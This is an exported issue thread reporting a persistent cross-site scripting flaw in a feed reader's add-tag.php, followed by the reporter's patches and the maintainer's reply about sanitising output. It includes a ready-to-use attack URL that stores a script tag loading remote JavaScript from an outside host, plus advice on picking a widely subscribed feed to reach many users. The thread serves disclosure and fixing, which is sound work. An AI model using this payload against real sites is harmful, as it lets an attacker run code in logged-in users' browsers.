Persistant XSS Exploit on logged-in users' items + SQL Injection Fix

[GoogleCodeExporter]

What steps will reproduce the problem?
1. If a user is logged in, an attacker can send him a link to add-tag.php with 
javascript in the tag GET field.
2. When the user goes back to the main page, if he has any items, the XSS 
script will be executed. 
3. The script is stored in the Database, so it will continue affecting the user 
until the tag is deleted from the item or the database all together.

What is the expected output? What do you see instead?
add-tag.php should sanitize untrusted input. Instead, it accepts it and puts in 
into the database, even getting around fof_safe_query

Please use labels and text to provide additional information.
This could be solved in each file like add-tag.php, or in the fof-db.php file 
to prevent this bug from being exploited anywhere else. There are several other 
places where this is possible, but this is the most dangerous one that I found. 
All would be fixed with changes to fof_safe_query. I have attached changes 
below to address the problem. This could also be fixed with a prepared sql 
statement, but I have just used htmlentities to keep it compatible with older 
versions of PHP. This should also prevent and SQL Injection attack.

This is the url that an attacker could send to a logged-in user:
URL Encoded:
http://VictimWebApp.com/add-tag.php?tag=%3CSCRIPT/SRC=http://ha.ckers.org/xss.js
%3E%3C/SCRIPT%3E&item=4
The attacker does not necessarily need to correctly choose an item number, as 
long as the item number exists and the user is subscribed to it's feed. If an 
attacker can find a feed that all or most users would be subscribed to (like 
maybe the host site's feed) then this is an easy attack.

Original issue reported on code.google.com by dmazz...@gmail.com on 18 May 2011 at 9:14

Attachments:

• fof-db.diff

[GoogleCodeExporter]

I discovered that my patch destroys the feed importing function, so 
unfortunately the bug will have to be fixed in add-tag.php. I've attached a new 
patch.

Original comment by dmazz...@gmail.com on 18 May 2011 at 6:18

Attachments:

• add-tag.diff

[GoogleCodeExporter]

Thanks for pointing this out.  I think I will fix the XSS by using 
htmlentites() at output time, rather than in fof_safe_query.

You also mentioned SQL injection.  I believe that because of the code in 
fof_safe_query and the way the queries are constructed, I am already safe from 
SQL injection.  Please let me know if you think otherwise!

Original comment by stevemin...@gmail.com on 22 May 2011 at 6:06

• Changed state: Accepted

[GoogleCodeExporter]

I believe you are safe from someone injecting malicious SQL statements, but in 
my opinion htmlentities should be used before something is inserted into the 
database. Tags are displayed in multiple places, like the sidebar and on each 
tagged post. But if you find all of those places, then I guess that is fine 
too. 

The patch that I attached in my comment (add-tag.diff) fixes the problem before 
a tag name is inserted.

Original comment by dmazz...@gmail.com on 22 May 2011 at 6:09